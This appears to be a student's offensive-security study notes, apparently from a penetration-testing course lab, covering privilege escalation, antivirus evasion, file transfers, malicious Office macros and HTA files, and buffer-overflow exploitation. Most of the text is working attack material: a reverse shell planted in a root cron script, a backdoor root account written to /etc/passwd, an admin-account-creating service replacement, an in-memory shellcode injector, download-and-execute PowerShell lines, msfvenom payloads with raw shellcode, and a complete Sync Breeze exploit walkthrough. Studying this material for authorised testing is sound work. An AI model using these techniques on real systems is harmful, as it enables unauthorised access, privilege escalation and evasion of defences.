Useful Pentest Reference
Study Notes - 2021/05/09

Linux Privilege Escalation

Insecure file permissions

Cron based time job

Inspect cron log for running jobs

1
2
3
4
5
6
7
grep "CRON" /var/log/cron.log  

Jan27 17:45:01 victim CRON[2615]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 17:50:01 victim CRON[2631]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 17:55:01 victim CRON[2656]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 18:00:01 victim CRON[2671]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)

run every 5 mins

ls -lah to show its permission (rwxrwxrwx)

add following to the script (See Reverse-shell-Cheat-Sheet)

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 1234 >/tmp/f 

Insecure /etc/passwd Permission

if a password hash is present in the second column of a /etc/passwd user record, it is considered valid for authentication and it takes precedence over the respective entry in /etc/shadow if available

Generate password hash

1
2
3
4
5
6
openssl passwd evil
AK24fcSx2Il3I

echo "root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash" >> /etc/passwd

username:passwordhash:userid:groupid:

Linux Kernel Vulnerabilities

Lab machine: ssh n00b@10.11.0.129

inspecting the /etc/issue file

1
2
3
uname -r 
-r, --kernel-release print the kernel release
arch
1
searchsploit linux kernel ubuntu 16.04

Compile C/C++

match the architecture of the target machine

Password Attacks

Standard wordlist

Kali linux has some stored in /usr/share/wordlists/


Study Notes - 2021/05/08

Insecure File permission

system service binary has insecure permission, we can replace the binary, when the system reboot, the malicious binary will be executed with root permission

Use powershell to list running servicis

1
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

Service stored in Program Files dir is more prone to have insecure permission

Ennumerate the permission of target service

1
icacls "C:\Program Files\Serviio\bin\ServiioService.exe"

replace the binary with malicious binary

1
2
3
4
5
6
7
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user evil Ev!lpass /add");
i = system ("net localgroup administrators evil /add");
}

cross compile it i686-w64-mingw32-gcc adduser.c -o adduser.exe

1
2
move "C:\Program Files\Serviio\bin\ServiioService.exe" "C:\Program Files\Serviio\bin\ServiioService_original.exe"
move adduser.exe "C:\Program Files\Serviio\bin\ServiioService.exe"

restart the service

1
2
3
C:\Users\student> net stop Serviio
System error 5 has occurred.
Access is denied.

check the start option of the service

C:\Users\student>wmic service where caption="Serviio" get name, caption, state, startmode Caption Name StartMode State Serviio Serviio Auto Running`

check if user can reboot the system

1
2
3
4
5
6
7
8
9
10
C:\Users\student>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

disable means the privilege is not enabled for the running process, in our case whoami

reboot the machine

1
shutdown \r \t 0   

\r reboot, \t in 0 sec

log in with new evil account

1
rdesktop xx.xx.xx.xx -u evil -p `password` -g 1024x768 

check if the new user in admin group

1
net localgroup Administrators

Leveraging Unquoted service path

can be used in lab 10.11.0.23 -u n00b -p lab

When using file/dir path contain spaces, the developer should make sure it is quoted

1
2
3
4
5
6
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

move adduser.exe "C:\Program Files\My Program\My.exe"

Windows Kernel Vulnerabilities: USBPcap Case Study

determine the version and architecture

1
2
3
4
C:\> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
System Type: X86-based PC

try to find third-party driver vulnerabiliies first

enumerate the driver

1
driverquery /v

/v for verbose output
looking for third-party drivers

search for exploit

1
searchsploit USBPcap

check the version of USBPCap

To begin, we will list the contents of the Program Files directory, in search of the USBPcap directory:

1
2
3
cd "C:\Program Files"
dir
type USBPcap.inf

Compile C/C++ on windows

Use the client machine
setup PATH environment variable

1
2
C:\Program Files\mingw-w64\i686-7.2.0-posix-dwarf-rt_v5-rev1> mingw-w64.bat
gcc 41452.c -o exploit.exe

Study Notes - 2021/04/23

Automated Enumeration

windows automated enumeration tool:

1
c:\Tools\privilege_escalation\windows-privesc-check-master>windows-privesc-check2.exe

-h help
–dump dump output
-G list groups

Linux:

1
./unix-privesc-check standard > output.txt

Windows privilege escalation examples

Windoes privilege and integrity levels

Access token assigned to a user
security id (sid) unique to each object including access token, user account, group account.
Integrity mechanism:

From Windows Vista onward, processes run on four integrity levels:
• System integrity process: SYSTEM rights
• High integrity process: administrative rights
• Medium integrity process: standard user rights
• Low integrity process: very restricted rights often used in sandboxed processes

User account control (UAC)

Even logged in as admin, we are operating at Medium integrity level, to switch, specifying run as administrator:

1
powershell.exe Start-Process cmd.exe -Verb runAs  

run cmd.exe in as administrator
credential prompt and consent prompt

User account control bypass

allows an administrator user to bypass UAC by silently elevating our integrity level from medium to high.

leverage an interesting UAC bypass based on fodhelper.exe

1
C:\Windows\System32\fodhelper.exe  

In order to gather detailed information regarding the fodhelper integrity level and the permissions required to run this process, we will inspect its application manifest

dump the manifest of fohelper.exe:

1
2
cd C:\Tools\privilege_escalation\SysinternalsSuite
sigcheck.exe -a -m C:\Windows\System32\fodhelper.exe
1
2
3
4
5
6
7
<requestedPrivileges>
<requestedExecutionLevel
level="requireAdministrator"
/>
</requestedPrivileges>

<autoElevate>true</autoElevate>

Study Notes - 2021/03/29

Privilege Escalation

Manual Enumeration

enumerating users:
whoami work both for win and linux
windows: net user <username>
Linux: id
reveal other users :
windows: net user
linux: cat /etc/passwd

enumeratin hostname:
hostname

Enumerating OS version

Windows: systeminfo
linux: cat /etc/issue
cat /etc/*-release
uname -a

Running processes and services

tasklist /SVC
/SVC Displays services hosted in each process.
Does not list task run by privieleged users

linux:
ps aux

Enumerating Network information

windows:
ipconfig /all
route print route information
netstat -ano network connections
-a display all active tcp connections
-n Displays addresses and port numbers in numerical form.
-o Displays the owning process ID associated with each connection.

Linux:
ifconfig -a
ip a
/sbin/route
ss -anp
netstat -anp

Enumerating Firewall Status and Rules

windows:
netsh advfirewall show currentprofile
list the firewall rules:
netsh advfirewall firewall show rule name=all

Linux: must have root privilege to access firewall rules
For example, the iptables-persistent464 package on Debian Linux saves firewall rules in specific
files under the /etc/iptables directory by default. These files are used by the system to restore
netfilter465 rules at boot time. These files are often left with weak permissions, allowing them to
be read by any local user on the target system.

grep -Hs iptables /etc/*
-H display file name with file number
-s suppress error messages

Enumerating Scheduled tasks

schtasks /query /fo LIST /v
/query argument displays tasks and /FO LIST sets the output format to a simple list. We can also use /V to request verbose output.

Linux:
The Linux-based job scheduler is known as Cron.467 Scheduled tasks are listed under the /etc/cron.* directories

ls -lah /etc/cron* sometimes need permision
-h human readable

cat /etc/crontab

if those script have a weak permissions, we change change it and escalate pribilege

Enumerating Installed app and patch levels

wmic product get name, version, vendor

We can use wmic with the product WMI class argument followed by get, which, as the name states, is used to retrieve specific property values. We can then choose the properties we are interested in, such as name, version, and vendor

note: product class only list application installed by the windows installer

Similarly, and more importantly, wmic can also be used to list system-wide updates by querying the Win32_QuickFixEngineering (qfe) WMI class.
wmic qfe get Caption, Description, HotFixID, InstalledOn

Linux:
Debian based:
dpkg -l
Redhat based:
rpm

Enumerating readble and writable dirs

Accesschk:
enumerate the Program Files directory in search of any file or directory that allows the Everyone group write permissions

We will use -u to suppress errors, -w to search for write access permissions, and -s to perform a recursive search.

1
accesschk.exe -uws "Everyone" "C:\Program Files"

powershell:

1
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

Linux: -type d to locate directories

1
find / -writable -type d 2>/dev/null  

Enumerating Unmounted Disks

mountvol
On Linux-based systems, we can use the mount command to list all mounted filesystems. In addition, the /etc/fstab file lists all drives that will be mounted at boot time.
use lsblk to view all available disks

Enumerating Device Drivers and Kernel Modules

powershell:

1
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path

find version number of each module:

1
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}

Linux:

1
2
lsmod
/sbin/modinfo libata

modinfo require full path name to run

Enumerating Binaries That AutoElevate

First, on Windows systems, we should check the status of the AlwaysInstallElevated registry setting. If this key is enabled (set to 1) in either HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE, any user can run Windows Installer packages with elevated privileges.

1
2
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

If this setting is enabled, we could craft an MSI file and run it to elevate our privileges

Linux:
find suid-marked binaries, the binary will be executed with the file owner’s permission

1
find / -perm -u=s -type f 2>/dev/null

Study Notes - 2021/03/24

Antivirus Evasion

First generate a reverse shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f exe > binary.exe

https://www.virustotal.com/#/home/upload

Detection Method

Signiture-based

blacklist technology
a cotinuous series of bytes that uniquely identify it -> change or obfuscating the content

Heuristic and Behavioral-Based Detection

Heuristic-Based Detection is a detection method that relies on various rules and algorithms to determine whether or not an action is considered malicious

Behavioral-Based: This is often achieved by executing the file in question in an emulated environment, such as a small virtual machine, and looking for behaviors or actions that are considered malicious.

Bypassing

On-disk evasion

Packers, smaller, functional equivalent -> new signiture, bypass older antivirus detection

Obfuscator

Re-organize and mutate code, more difficult to reverse engineer , dead code

Cypters

Add a decryption step, in memory decryotion, invisible to malware detection

virtualmachine emulation detection, detect if it is executed in a virtual machine envrionment

Software Protectors

in-memory evasion

PE injection, manipulation of its own memory, does not write any thing to disk

Remote Process Memory Injection

Reflective DLL injection

write their own version of api to load in memory dll

Process Hollowing

suspend a benign process, then image changed, resume executon

Inline Hook

modify memory, inject a hook, handler, to malicious code

Practical example

Target a specific anti-virus product

in-memory injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i),
$sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

use load code into the memory, then execute with create thread. in powershell script

prevent from execution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
C:\Users\offsec\Desktop> powershell .\av_test.ps1
.\av_test.ps1 : File C:\Users\offsec\Desktop\av_test.ps1 cannot be loaded because
running scripts is disabled on this
system. For more information, see about_Execution_Policies at
http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\av_test.ps1
+ ~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess


C:\Users\offsec\Desktop> powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\offsec\Desktop> Get-ExecutionPolicy -Scope CurrentUser
Undefined
PS C:\Users\offsec\Desktop> Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope
CurrentUser
PS C:\Users\offsec\Desktop> Get-ExecutionPolicy -Scope CurrentUser
Unrestricted

Shelter

stealth mode: restore the execution of original flow after finish the injected code

Session died after original code exit

we can set up an AutoRunScript to migrate our Meterpreter to a separate process immediately after session creation

1
set AutoRunScript post/windows/manage/migrate

Study Notes - 2021/03/22

Fixing Memory Corruption Exploits

searchsploit -m 42341
copy the exploit

Cross-Cpmpiling the Exploit Code

mingw-64 a cross-compiler
sudo apt install mingw-w64

Changing the Socket Information

Change the payload

Fix Web Exploits

make sure the certificate is ignored if face certificate check failed
python request The official documentation394 indicates that the SSL certificate will be ignored if we set the verify
parameter to False

File Transfers

non-interactive shell

on client, we open a listening shell: nc -nvlp 4444 -e /bin/bash
in attack machine, connect to it nc -nv xxx.xx.xx.xxx 4444
if we run ftp, we lose the interaction, input not binded correctly

upgrading the non-interactive shell

nc -nvlp 4444 -e /bin/bash
nc -nv 192.168.148.44 4444

python -c ‘import pty; pty.spawn(“/bin/bash”)’
get a bash prompt, get the pty shell, good

Transfer file with windows hosts

Non-interative ftp download
sudo cp /usr/share/windows-resources/binaries/nc.exe /ftphome/

home directory of ftp is set to /ftphome/

1
2
3
4
5
6
7
8
C:\Users\offsec>echo open 10.11.0.4 21> ftp.txt
C:\Users\offsec>echo USER offsec>> ftp.txt
C:\Users\offsec>echo lab>> ftp.txt
C:\Users\offsec>echo bin >> ftp.txt # request a binary file transfer
C:\Users\offsec>echo GET nc.exe >> ftp.txt
C:\Users\offsec>echo bye >> ftp.txt

ftp -v -n -s:ftp.txt

-v to suppress any returned output, -n to suppresses automatic
login, and -s to indicate the name of our command file.

Windows Downloads using scripting languages

Use vb script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >>
wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >>
wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

C:\Users\Offsec> cscript wget.vbs http://10.11.0.4/evil.exe evil.exe

Use powershell :

1
2
3
4
C:\Users\Offsec> echo $webclient = New-Object System.Net.WebClient >>wget.ps1
C:\Users\Offsec> echo $url = "http://10.11.0.4/evil.exe" >>wget.ps1
C:\Users\Offsec> echo $file = "new-exploit.exe" >>wget.ps1
C:\Users\Offsec> echo $webclient.DownloadFile($url,$file) >>wget.ps1
1
2
C:\Users\Offsec> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -File wget.ps1

First, we must allow execution of PowerShell scripts (which is restricted by default) with the -
ExecutionPolicy keyword and Bypass value. Next, we will use -NoLogo and -NonInteractive
to hide the PowerShell logo banner and suppress the interactive PowerShell prompt, respectively.
The -NoProfile keyword will prevent PowerShell from loading the default profile (which is not
needed), and finally we specify the script file with -File:

one line version

1
C:\Users\Offsec> powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/evil.exe', 'new-exploit.exe')
1
C:\Users\Offsec> powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://10.11.0.4/helloworld.ps1')

download and execute without save to disk

Download with exe2hex and powershell

upx -9 nc.exe compress the binary file
exe2hex -x nc.exe -p nc.cmd

pipling the file into clipboard:

1
cat nc.cmd | xclip -selection clipboard

oaste it into the non-interactive shell

windows upload using windows scripting language

host a upload http server

1
2
3
4
5
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>

sudo mkdir /var/www/uploads
sudo chown www-data: /var/www/uploads

1
powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')

Uploading Files with TFTP

xp, 2003

sudo chown nobody: /tftp
sudo atftpd –daemon –port 69 /tftp

in windows:
tftp -i 10.11.0.4 put important.docx


Study Notes - 2021/03/21

Client-side Attack

Passive Client information Gathering

Googled for various known external corporate IP addresses and found one on a site that hosts collected user agent data from various affiliate sites.

Active Client information Gathering

Social engineering and client-side attacks

Cheat HR, by sending their a document, and ask what types of os and broseswer they are using

Client Fingerprinting

fingerpringjs

use ajax to post components array to the server

sudo chown www-data:www-data fp

Leveraging HTML Applications

If a file is created with the extension of .hta instead of .html, Internet Explorer will automatically nterpret it as a HTML Application and offer the ability to execute it using the mshta.exe program.

work with IE

Similar to an HTML page, a typical HTML Application includes html, body, and script tags followed by JavaScript or VBScript code. However, since the HTML Application is executed outside the browser we are free to use legacy and dangerous features that are often blocked within the browser

An additional window will open, add close

``

``
1
sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.148 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
1
iKqr8BWFyuiK.Run "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcg

-nop no profile
-w hidden do not pop up a window
-EncodedCommand -e

Microsoft macros

1
2
3
4
5
6
7
8
9
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "cmd"
End Sub

We must save the containing document as either .docm or the older .doc format, which supports
embedded macros, but must avoid the .docx format, which does not support them.

Object Linking and Emedding

Insert batch object into a word file
change the present, display as icon, change the icon
Can also change caption
user need to click on the icon to lanuch the batch file

START powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBj….

Evading Protected View

block the execution of macro and embeded object
bypass is to use another Office application.

Locating public exploits

https://www.exploit-db.com

https://www.securityfocus.com
A vulnerability database instead of exploit database, reference may contain some PoC

https://packetstormsecurity.com
It provides up-to-date information on security news and vulnerabilities as well as recently published tools by security vendors

1
firefox --search "Microsoft Edge site:exploit-db.com"

inurl intext and intitle

Offline exploit resource

SearchSploit

1
sudo apt update && sudo apt install exploitdb

to make sure it is lateset

/usr/share/exploitdb/exploits/

nmap NSE script

kali@kali:~$ cd /usr/share/nmap/scripts
kali@kali:/usr/share/nmap/scripts$ grep Exploits *.nse
nmap –script-help=clamav-exec.nse

The Browser Exploitation Framework (BeEF)

Metasploit Framework

Put all together

1
sudo nmap 10.11.0.128 -p- -sV -vv --open --reason

–open: Only show open (or possibly open) ports
–reason: Display the reason a port is in a particular state


Study Notes - 2021/03/20

Linux Buffer Overflow

DEP (data execution prevention), ASLR, Canaries

replicating the crash

controlling EIP

find the eip location, use msf-pattern_create

msf-pattern_create -l 4379
eip = 0x46367046
msf-pattern_offset -q 46367046
-q, –query Aa0A Query to Locate

offset = 4368

crash = “\x41” * 4368 + “B” * 4 + “C” * 7

locating space for shell code

find a register that point to our buffer:
esp point to the end of our buffer, only have 7 bytes remaining in the buffer, increase buffer size not work, lead to another crash
eax point to the start of the buffer, including the “setup sound” string

right click -> go to expression (setup sound)
“se” -> translate to jae jump short if above or equal
“tu” -> je jump if equal
not good

insert first stage shell code at the 7 bytes space
use to allain eax to point to string after setup sound, then jump to there

increase eax+12 as there are 12 chars in “setup sound”

1
2
3
4
5
kali@kali:~$ msf-nasm_shell
nasm > add eax,12
00000000 83C00C add eax,byte +0xc
nasm > jmp eax
00000000 FFE0 jmp eax

5 bytes instructions 83C00C FFE0

1
2
3
4
5
padding = "\x41" * 4368
eip = "\x42\x42\x42\x42"
first_stage = "\x83\xc0\x0c\xff\xe0\x90\x90" # padding with nops

buffer = "\x11(setup sound " + padding + eip + first_stage + "\x90\x00#"

checking for bad chars

We sent the whole range of characters from 00 to FF within our buffer and then monitored
whether any of those bytes got mangled, swapped, dropped, or changed in memory once they
were processed by the application.

0x00 0x20

finding a return address

edb Plugins -> OpcodeSearcher
0x8134596

getting a shell

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.119.148 LPORT=443 -b "\x00\x20" -f py -v shellcode

the output format with
-f, and the variable name to use with -v.

shell is stucked, because of debugger


Study Notes - 2021/03/17

Buffer Overflow

Immunity Debug

F2 set break point
F9 to run the program
F7 step into the function
Ctrl + F9 execute until the return of the function

Windows Buffer Overflows

Discover the vulnerability

  1. source code review
  2. reverse engineering
  3. fuzzing

Fuzzing the http protocal

get seed

use wireshark to capture packages
capture filter host 192.168.119.148 and host 192.168.148.10
locate the /login page and right click follow tcp stream – apply display filters

TCP View Stored at: C:\Tools\windows_buffer_overflows find the process listening on port 80
Run Immunity Debug with admin

Replicate the crash

Control EIP

AAAABBBB, then AAAABBCC then AAAABBCD until locate the eip

generate non-repeat pattern
msf-pattern_create -l 800

eip replaced with 42306142 -> B0aB

1
2
└─$ msf-pattern_offset -l 800 -q 42306142                                                                          
[*] Exact match at offset 780

Locating space for shell code

usually shell code length 350 - 400 bytes
esp locate at BBBBCCCCESP!

1
2
3
4
5
6
7
8
9
10
11
filler = "A" * 780
eip = "B" * 4
offset = "C" * 4
buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + buffer
```
esp point to buffer

## checking for bad chars
`0x00` use to terminate string

badchars = (
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”
“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”
“\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”
“\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”
“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”
“\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”
“\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”
“\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”
“\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”
“\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”
“\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”
“\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”
“\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”
“\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”
“\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”
“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff” )

inputBuffer = filler + eip + offset + badchars

1
2
3
4
5
6
7
8
9
10
11
12
13
14

right click esp, follow in dump: find that char after 0x09 not appear means 0x0a is a bad char (line feed, terminate the http field)

remove 0x0a from the barchar and repeat, find 0x0d (return char) is also bad
all bad char `0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B 0x3D`

## redirecting the execution flow
the address differ from crash to crash
## find return address
JMP ESP
the addresses used in the library must be static, eliminates libraries compiled with ASLR support
the **address** can not contain any bar char

use !mona modules

Log data, item 7
Address=0BADF00D
Message= 0x00400000 | 0x00462000 | 0x00062000 | False | False | False | False | False | -1.0- [syncbrs.exe] (C:\Program Files\Sync Breeze Enterprise\bin\syncbrs.exe)

1
however the address leading with `0x00`  

Log data, item 10
Address=0BADF00D
Message= 0x10000000 | 0x10223000 | 0x00223000 | False | False | False | False | False | -1.0- [libspp.dll] (C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll)

1
2
3
tip: If this application was compiled with DEP support, our JMP ESP
address would have to be located in the .text code segment of the module

kali@kali:~$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
nasm >

1
2
`!mona find -s "\xff\xe4" -m "libspp.dll"`  

Log data, item 3
Address=10090C83
Message= 0x10090c83 : “\xff\xe4” | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll)

1
2
3
4
5
6
7
8
9
10

JMP ESP instruction (0x10090c83)
eip = "\x83\x0c\x09\x10"


## generate shell code with metasploit
`msfvenom -l payloads` list available playload
`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.148 LPORT=443 -f c`
-p payload
-f to select C-formatted shellcode.

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.148 LPORT=443 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of c file: 1386 bytes
unsigned char buf[] =
“\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30”
“\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”
“\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52”
“\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1”
“\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b”
“\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03”
“\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b”
“\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24”
“\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb”
“\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c”
“\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68”
“\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68”
“\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x77\x94\x68”
“\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61”
“\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2”
“\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6”
“\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44”
“\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56”
“\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff”
“\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6”
“\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb”
“\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5”;

1
2
include bad chars  

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.148 LPORT=443 -f c –e x86/shikata_ga_nai -b “\x00\x0a\x0d\x25\x26\x2b\x3d”

1
2
3
4
5
6
7
8

-b bad char
-e encoder

the decoder (getPC routine) in the shell code modify the stack thus modify the decoder code it self.

create landing path, add many nops (\x90)

nops = “\x90” * 10
inputBuffer = filler + eip + offset + nops + shellcode

1

sudo nc -lnvp 443

1
2
3
4
5
6
7
8

Yeah!!

But when we exit the shell, the sync breeze crash and exit


## improving the exploit
Using ExitThread instead of ExitProcess

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.148 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b “\x00\x0a\x0d\x25\x26\x2b\x3d”